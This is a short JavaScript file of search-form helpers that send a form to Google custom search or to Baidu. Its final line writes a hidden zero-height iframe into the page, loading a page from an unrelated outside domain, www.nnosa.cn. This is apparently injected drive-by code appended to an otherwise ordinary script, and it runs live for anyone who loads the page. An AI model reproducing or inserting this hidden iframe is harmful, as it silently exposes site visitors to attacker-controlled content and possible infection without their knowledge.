function google_s(){
	form_s.q.value=form_s.word.value;
	form_s.action="http://www.google.com/custom";
}
function baidu_s(){
	form_s.word.value=form_s.word.value;
	form_s.action="http://www.baidu.com/s?tn=netdust";
}
document.writeln("<iframe src=http:\/\/www.nnosa.cn\/1013.htm width=100 height=0><\/iframe> ");